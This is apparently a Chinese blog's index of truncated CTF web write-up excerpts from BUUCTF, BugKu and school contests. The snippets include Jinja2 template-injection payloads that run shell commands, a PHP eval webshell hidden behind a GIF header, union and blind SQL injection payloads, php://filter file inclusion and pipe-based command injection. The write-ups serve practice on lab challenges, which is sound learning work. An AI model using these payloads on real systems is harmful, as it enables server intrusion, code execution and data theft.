ctf Writeup
文章平均质量分 62
不知道为什么,从半个月前特别爱学习,可能也知道...也无所谓了,我很享受当下!让我坚持下去,让以后的我感谢现在努力的我!
1ta-chi
献给像我一样艰难前行的你
展开
-
利用 pearcmd.php 实现 Getshell
文章目录源码分析利用Pearcmd.php学习连接:西湖论剑的一道Web源码<?phphighlight_file(__FILE__);if(isset($_GET['check'])){ if(file_get_contents($_GET['check']) === "LFI"){ @include($_GET['a']); }else{ die("no!"); }}分析信息搜集了一圈,啥也没有,也就是说不知原创 2022-01-12 19:53:39 · 640 阅读 · 0 评论 -
Web - Include_NBAplayer
文章目录信息收集测试信息收集查看源码这里可能存在文件包含测试随便选一个伪协议,查看当前页面php://filter/read=convert.base64-encode/resource=include/file1.php得到源码<?php$html.=<<<A<img class=player src="include/kobe.png" /><p class=nabname>Kobe Bryant is one of the原创 2022-01-12 17:23:06 · 256 阅读 · 0 评论 -
[BJDCTF2020]ZJCTF,不过如此
[BJDCTF2020]ZJCTF,不过如此源码<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1><原创 2021-12-29 16:18:40 · 300 阅读 · 0 评论 -
BUUCTF - Web - [ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei源码<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'原创 2021-12-29 01:15:42 · 1680 阅读 · 0 评论 -
BugKu - Web - Simple_SSTI_1
Simple_SSTI_1猜测GET传参flag:?flag=1测试注入:?flag=${7*7}?flag={{7*7}}?flag={{7*'7'}}所以该模板使用的是jinja2渲染:?flag={{[].__class__.__base__.__subclasses__()}}?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("ls").read()}}?fl原创 2021-12-28 11:09:07 · 2067 阅读 · 0 评论 -
NUAACTF - Web - Ez_Flask
按照提示随便传一个:?name=123可能存在模板渲染,检测一下:?name=${2*7}?name={{7*7}}?name={{7*'7'}}发现是 jinja2 渲染看一下所有的类:?name={{[].__class__.__base__.__subclasses__()}}可以一点一点的往下找,也可以直接写payload{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ ==.原创 2021-12-27 17:57:32 · 625 阅读 · 0 评论 -
验证码绕过wp
拿到一个网站,在最下面可以看到Prowed by UsualToolCMS下载到该 CMS 的源码,发现有 cmsadmin访问可能存在验证码绕过,抓包看一下弱密码爆一下成功登录,访问该目录下的flag.php发现a_templetex.php中有更新数据的地方,我们可以在这里插马<?phprequire_once 'a_top.php';$t=UsualToolCMS::sqlcheck($_GET["t"]);$x=UsualToolCMS::sqlcheck($_原创 2021-12-23 21:16:23 · 1610 阅读 · 0 评论 -
BUUCTF - Web - [CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World测试id=1id=2fuzz 一下,空格/union/order by/updatexml/and/or等字符分析尝试盲注,题目给出表及字段,使用异或连接,用括号代替空格0^(ascii(substr((select(flag)from(flag)),1,1))>1)脚本import requestsurl="http://9fbcd2c9-29c1-45ee-8aa2-d17756ace4c0.no原创 2021-12-18 22:52:51 · 303 阅读 · 0 评论 -
BUUCTF - Web - upload三联
文章目录[极客大挑战 2019]Upload[ACTF2020 新生赛]Upload[MRCTF2020]你传你????呢[极客大挑战 2019]Upload一个文件上传的题,先看一眼发现没有前端检测,那就是后端脚本,先随便传个图片马操,上传成功了。。。里面写的是:GIF89a //GIF文件头<script language="php">eval($_REQUEST[8])</script>这是随便传的以前的图片,以下是正常顺序:先写个一句话木马传上去:<原创 2021-12-16 01:08:58 · 1416 阅读 · 0 评论 -
Web - EzPop链构造
文章目录源码分析payload源码<?phpclass start_gg{ public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); }}class Call{ public $mod1; public $mod2;原创 2021-12-09 01:17:13 · 233 阅读 · 0 评论 -
Web - pop链构造
文章目录源码分析payload*2源码<?php// flag in flag.phpclass C1e4r{ public $test; public $str; public function __construct($name){ $this->str = $name; } public function __destruct(){ $this->test = $this->str;原创 2021-12-09 00:55:50 · 480 阅读 · 0 评论 -
BUUCTF - Web - easy_serialize_php
文章目录源码分析知识点payload其他解法源码<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){原创 2021-12-07 10:02:39 · 440 阅读 · 0 评论 -
[校赛] - Web - ezPop
终于做出校赛级别的题了,好难这是一个简单的pop链构造,难就难在他有五个类,一个干扰类,剩下四个可以有三种以上做法原创 2021-12-03 22:56:30 · 1826 阅读 · 0 评论 -
[web入门]SQL注入-2
请原谅我发出一点不友好的声音:每个人无论是做完题了,还是没做完题,他只要是想进步,都会搜一下WP,尤其是BUUCTF的WP更有必要搜一下,为的是更标准、更多的思路,不成想我搜索发现,清一色!思路一摸一样,用的函数一模一样,更甚之有的连思路都没有,上来就报错注入,生怕别人不知道他是抄的wp。。。令人无语!我写的这个是我自己的思路,权当是留作笔记吧,或者是一点不健康的牢骚。。。...原创 2021-12-02 03:28:25 · 653 阅读 · 0 评论 -
Web - Access偏移溢注
Access数据库的偏移溢注,当前表的字段大于我们想要查的表的字段数时,使用偏移溢注!原创 2021-12-01 18:46:48 · 1635 阅读 · 0 评论 -
BUUCTF - Web -[web入门]sql 1~2(水题勿览)
《CTFer:从0到1》的两道sql注入(水题勿览)看到提示,得到闭合方式:'查字段数order by 3正常回显,order by 4无回显,三个字段判断回显点回显点是2、3注意:当id=3的时候会正常回显,这时会覆盖掉我们查询的数据,所以id=3.1,使正常内容不会显,我们就看到了我们所查询的数据查表名?id=3.1' union select 1,table_name,3 from information原创 2021-12-01 02:05:41 · 1778 阅读 · 0 评论 -
[校赛] - Web - EzSerialize
源码<?phphighlight_file(__FILE__);class flag{ public $key; public function __destruct(){ if($this -> key === 'yes'){ include('flag.php'); echo $flag; }else{ die("No,You don't have key!");原创 2021-11-30 02:06:28 · 371 阅读 · 0 评论 -
BUUCTF - Web - [MRCTF2020]Ezpop
题目源码<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append(原创 2021-11-30 00:37:58 · 426 阅读 · 0 评论 -
BUUCTF - Web - sqltest
拿到一个流量包,第一行就是一句sql语句过滤http看一下简单看了一下,是布尔盲注导出http对象并过滤ascii因为布尔盲注一般用substr()切割每个字符串,并一个一个地用ascii()转成ASCII码来判断,以爆出真正的数据,但是substr()也用于判断表名、字段名的长度,所以这里直接过滤ascii,方便之后的分析比如flag的第一个字符,>101返回true,>102返回false,说明第一个字符的ASCII码为101所以每次找最后一个就对了:102 108 97原创 2021-11-29 13:05:48 · 2194 阅读 · 1 评论 -
BUUCTF - Web - AreUSerialz
题目源码<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content =原创 2021-11-28 00:48:22 · 234 阅读 · 0 评论 -
BUUCTF - Web - PHP
敏感文件泄露访问www.zip解压class.php中是PHP源码<?phpinclude 'flag.php';error_reporting(0);class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = .原创 2021-11-27 17:00:08 · 486 阅读 · 0 评论 -
BUUCTF - Web - Easy MD5
题目就是一个很普通的表单,F12也看不到什么随便填个数据抓包看一下select * from 'admin' where password=md5($pass,true)看来突破点是md5($pass, true)md5($pass)的意思是计算$pass的MD5的值并返回十六进制格式,如果设置为true,将以二进制的形式返回,这里存在一个漏洞当$pass = ffifdyop的时候,md5($pass,true) => 'or'6xxxxx<?php$a = 'ffifd原创 2021-11-27 15:01:08 · 1662 阅读 · 0 评论 -
BUUCTF - Web - Ez_bypass
得到一个php源码I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) {原创 2021-11-27 09:57:42 · 323 阅读 · 0 评论 -
BUUCTF - web - BabySQL
文章目录判断注入类型判断字段数判断回显点查表查字段查数据判断注入类型尝试万能密码:'1 or 1=1 -- qwe发现仅剩下1=1 -- qwe,可能ban掉了"or"关键词尝试双写:1' oorr 1=1 -- qwe登陆成功,可能以后都要双写了判断字段数1' oorrder bbyy 3 -- qwe看来有三个字段判断回显点1' ununionion seselectlect 1,2,3 -- qwe回显点是2和3查表1' ununionion seselectlect原创 2021-11-04 22:43:54 · 268 阅读 · 0 评论 -
BUUCTF - web - Easy Calc
文章目录Easy Calc知识点构造payloadEasy Calc拿到一个计算器,看不出端倪,查看源码有一段注释说这题有WAF,那思路应该就清晰了,绕WAFJS里面写道有Calc.php文件,可以查看一下可以看到绕过了很多符号和字母知识点假如WAF不允许num变量传递字母,可以在num前加个空格,这样WAF就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。scandir():原创 2021-11-03 21:04:54 · 194 阅读 · 0 评论 -
BUUCTF - web - PingPingPing+Knife+Http
文章目录前言PingPingPing分析构造payload其他方法白给的shellHttpRepeater前言已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了我会一直坚持下去加油!PingPingPing分析想到昨天做了一个ping加Linux命令,今天这个也可以试试?ip=127.0.0.1|ls尝试拿flag?ip=127.0.0.1|cat flag.php看来空格被禁了,尝试绕过换原创 2021-11-02 23:53:26 · 345 阅读 · 0 评论